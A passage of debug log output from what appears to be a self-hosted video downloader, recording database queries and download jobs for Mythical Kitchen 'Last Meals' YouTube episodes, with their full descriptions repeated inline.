Farting\n27:02 Exploring South Africa\n30:00 4th Course\n31:19 Dreaming About Killer Whales & Taylor Swift\n32:58 Dealing With Grief\n34:58 Missing Christina Grimmie\n37:02 What Do You Think Happens When You Die?\n37:37 Lightning Round\n40:52 Victoria's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Victoria Justice Eats Her Last Meal", "045201e4-64dd-454c-967c-ac7ef20b402c", "https://www.youtube.com/watch?v=ylGaf3FZ4Fk", false, "ylGaf3FZ4Fk", 2530, false, 96, "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", false, false, 1, [], 0, ~U[2025-05-13 10:01:37Z], ~U[2026-03-28 00:49:27Z], ~U[2026-03-28 00:49:27Z], "Today, Victoria Justice eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Victoria's Last Meal\n0:19 Stalking Jennifer Aniston\n1:45 Have You Thought About Your Last Meal Before?\n2:27 How Often Do You Think About Death?\n3:39 1st Course\n5:29 More Famous Than Obama\n7:35 Jumping In For Miranda Cosgrove\n9:19 A Supportive Family\n11:00 New Projects & New Music\n13:06 Love For Sara Bareilles\n14:25 2nd Course\n16:32 From Nickelodeon To More Adult Roles\n17:50 Pitching Victorious\n19:23 Facing Internet Backlash & \"We All Sing\"\n22:24 3rd Course\n25:00 Bringing No Bad Vibes To The Afterlife\n26:07 Songwriting Is Like Farting\n27:02 Exploring South Africa\n30:00 4th Course\n31:19 Dreaming About Killer Whales & Taylor Swift\n32:58 Dealing With Grief\n34:58 Missing Christina Grimmie\n37:02 What Do You Think Happens When You Die?\n37:37 Lightning Round\n40:52 Victoria's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Victoria Justice Eats Her Last Meal", "https://www.youtube.com/watch?v=ylGaf3FZ4Fk", "ylGaf3FZ4Fk", 2530, false, "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", false, 1, ~U[2025-05-13 10:01:37Z]] 20:49:27.926 [debug] QUERY OK source="sources" db=0.1ms idle=737.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:27.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:27.927 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [111] 20:49:27.927 [info] Kicking off download for media item #111 (ylGaf3FZ4Fk) 20:49:27.929 [debug] QUERY OK source="tasks" db=0.1ms idle=2.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [110, 111, ~U[2026-03-28 00:49:27Z], ~U[2026-03-28 00:49:27Z]] 20:49:27.929 [debug] Current batch of media processed. Will check again in 1000ms 20:49:28.573 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:28.930 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Nigel Ng (Uncle Roger)'s last meal.\n\nCheck out Nigel's YouTube Channel - https://youtube.com/@mrnigelng\nAnd don't miss The HAIYAA Special - https://veeps.events/mrnigelng\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Nigel's Last Meal Menu\n1:11 How Often Do You Think About Death?\n1:32 Food In Asian Culture\n2:54 1st Course - Kaya Toast, Soft Boiled Eggs, Chili Pan Mee and Kopi Si Kosong\n4:53 Facing Criticism\n5:54 Where Uncle Roger's Accent Originated\n6:16 Malaysian Coffee Culture\n7:36 Pooping At The Gym\n8:29 Comedians & Accents\n10:24 2nd Course - Peking Duck, Fried Rice, & Puer Tea \n10:47 Uncle Roger Tries Our Fried Rice\n11:44 Promoting MSG\n13:43 Banned From China\n14:19 Calling Out Chefs On YouTube\n15:07 3rd Course - Silk Handkerchief Pasta, Blowtorch Otoro, Kimchi Jjigae, & Sake\n17:01 Banned From Karaoke\n18:34 Leaving Malaysia\n19:59 Full Time Data Scientist, Part Time Stand Up Comedian\n21:13 4th Course - Indomie, Boba Milk Tea, & Bubur Cha Cha\n22:22 Uncle Roger vs. Nigel Ng\n24:15 Death, Spirits, & The Afterlife\n25:38 Lightning Round\n25:36 Who's The One Person You'd Want To Share Your Last Meal With?\n26:08 Which Is Better, Cambodian Or Laotian Food?\n26:34 What Song Do You Want Played At Your Funeral?\n26:48 What's Your Biggest Fear?\n27:08 WYR: Orange Polo or Jamie Oliver's Food Forever?\n27:20 What's Your Greatest Regret?\n28:01 Are You Happy?\n28:09 Nigel's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon" <> ..., "duration" => 1733, "filename" => "/downloads/Last Meals/2024-01-23 Uncle Roger Eats His Last Meal/Uncle Roger Eats His Last Meal [Bs4viHlAz3U].mp4", "id" => "Bs4viHlAz3U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bs4viHlAz3U", "playlist_index" => 97, "timestamp" => 1706007616, "title" => "Uncle Roger Eats His Last Meal", "upload_date" => "20240123"} 20:49:28.930 [debug] QUERY OK source="sources" db=0.1ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:28.931 [debug] QUERY OK source="sources" db=0.0ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:28.931 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-23 11:00:16Z], 1] 20:49:28.932 [debug] QUERY OK source="media_items" db=0.8ms idle=741.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Nigel Ng (Uncle Roger)'s last meal.\n\nCheck out Nigel's YouTube Channel - https://youtube.com/@mrnigelng\nAnd don't miss The HAIYAA Special - https://veeps.events/mrnigelng\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Nigel's Last Meal Menu\n1:11 How Often Do You Think About Death?\n1:32 Food In Asian Culture\n2:54 1st Course - Kaya Toast, Soft Boiled Eggs, Chili Pan Mee and Kopi Si Kosong\n4:53 Facing Criticism\n5:54 Where Uncle Roger's Accent Originated\n6:16 Malaysian Coffee Culture\n7:36 Pooping At The Gym\n8:29 Comedians & Accents\n10:24 2nd Course - Peking Duck, Fried Rice, & Puer Tea \n10:47 Uncle Roger Tries Our Fried Rice\n11:44 Promoting MSG\n13:43 Banned From China\n14:19 Calling Out Chefs On YouTube\n15:07 3rd Course - Silk Handkerchief Pasta, Blowtorch Otoro, Kimchi Jjigae, & Sake\n17:01 Banned From Karaoke\n18:34 Leaving Malaysia\n19:59 Full Time Data Scientist, Part Time Stand Up Comedian\n21:13 4th Course - Indomie, Boba Milk Tea, & Bubur Cha Cha\n22:22 Uncle Roger vs. Nigel Ng\n24:15 Death, Spirits, & The Afterlife\n25:38 Lightning Round\n25:36 Who's The One Person You'd Want To Share Your Last Meal With?\n26:08 Which Is Better, Cambodian Or Laotian Food?\n26:34 What Song Do You Want Played At Your Funeral?\n26:48 What's Your Biggest Fear?\n27:08 WYR: Orange Polo or Jamie Oliver's Food Forever?\n27:20 What's Your Greatest Regret?\n28:01 Are You Happy?\n28:09 Nigel's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon" <> ..., "Uncle Roger Eats His Last Meal", "305122e7-9058-4787-a692-876898dd5f2a", "https://www.youtube.com/watch?v=Bs4viHlAz3U", false, "Bs4viHlAz3U", 1733, false, 97, "/downloads/Last Meals/2024-01-23 Uncle Roger Eats His Last Meal/Uncle Roger Eats His Last Meal [Bs4viHlAz3U].mp4", false, false, 1, [], 0, ~U[2024-01-23 11:00:16Z], ~U[2026-03-28 00:49:28Z], ~U[2026-03-28 00:49:28Z], "Today, Josh is cooking Nigel Ng (Uncle Roger)'s last meal.\n\nCheck out Nigel's YouTube Channel - https://youtube.com/@mrnigelng\nAnd don't miss The HAIYAA Special - https://veeps.events/mrnigelng\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Nigel's Last Meal Menu\n1:11 How Often Do You Think About Death?\n1:32 Food In Asian Culture\n2:54 1st Course - Kaya Toast, Soft Boiled Eggs, Chili Pan Mee and Kopi Si Kosong\n4:53 Facing Criticism\n5:54 Where Uncle Roger's Accent Originated\n6:16 Malaysian Coffee Culture\n7:36 Pooping At The Gym\n8:29 Comedians & Accents\n10:24 2nd Course - Peking Duck, Fried Rice, & Puer Tea \n10:47 Uncle Roger Tries Our Fried Rice\n11:44 Promoting MSG\n13:43 Banned From China\n14:19 Calling Out Chefs On YouTube\n15:07 3rd Course - Silk Handkerchief Pasta, Blowtorch Otoro, Kimchi Jjigae, & Sake\n17:01 Banned From Karaoke\n18:34 Leaving Malaysia\n19:59 Full Time Data Scientist, Part Time Stand Up Comedian\n21:13 4th Course - Indomie, Boba Milk Tea, & Bubur Cha Cha\n22:22 Uncle Roger vs. Nigel Ng\n24:15 Death, Spirits, & The Afterlife\n25:38 Lightning Round\n25:36 Who's The One Person You'd Want To Share Your Last Meal With?\n26:08 Which Is Better, Cambodian Or Laotian Food?\n26:34 What Song Do You Want Played At Your Funeral?\n26:48 What's Your Biggest Fear?\n27:08 WYR: Orange Polo or Jamie Oliver's Food Forever?\n27:20 What's Your Greatest Regret?\n28:01 Are You Happy?\n28:09 Nigel's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythic (truncated) 20:49:28.932 [debug] QUERY OK source="sources" db=0.0ms idle=358.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:28.932 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:28.932 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [112] 20:49:28.932 [info] Kicking off download for media item #112 (Bs4viHlAz3U) 20:49:28.933 [debug] QUERY OK source="tasks" db=0.0ms idle=0.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [111, 112, ~U[2026-03-28 00:49:28Z], ~U[2026-03-28 00:49:28Z]] 20:49:28.933 [debug] Current batch of media processed. Will check again in 1000ms 20:49:29.934 [debug] Current batch of media processed. Will check again in 1000ms 20:49:30.936 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Damiano David, the Eurovision winner for Italy and a member of Måneskin, eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Damiano's Last Meal\n0:18 Door-to-door Pillow Salesman\n1:20 Have You Thought About Your Last Meal Before?\n1:51 How Often Do You Think About Death?\n3:23 1st Course\n4:35 Damiano's In-N-Out Conspiracy\n5:24 Josh Practices Italian Slang\n6:55 Funny Little Fears\n9:50 Being a Rock God\n11:06 Creating Music In Between Relationships\n12:49 2nd Course\n14:35 Plug Your Merch (With Pesto)!\n15:28 Maneskin's Music Journey\n21:27 Will We See More Maneskin?\n22:01 3rd Course\n23:45 Damiano's Dream Restaurant\n24:09 Cooking For Dove Cameron\n29:59 Dealing With Fame\n31:55 4th Course\n32:48 A Number One Song Is Like Sex\n35:33 Obsessed With The New Album\n35:39 Memento Mori\n36:55 What Do You Think Happens When You Die?\n38:30 Lightning Round\n41:00 Damiano's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2487, "filename" => "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", "id" => "ZECpNhIMRUE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZECpNhIMRUE", "playlist_index" => 98, "timestamp" => 1747908062, "title" => "Måneskin’s Damiano David Eats His Last Meal", "upload_date" => "20250522"} 20:49:30.936 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=878.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:30.937 [debug] QUERY OK source="sources" db=0.3ms idle=879.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) 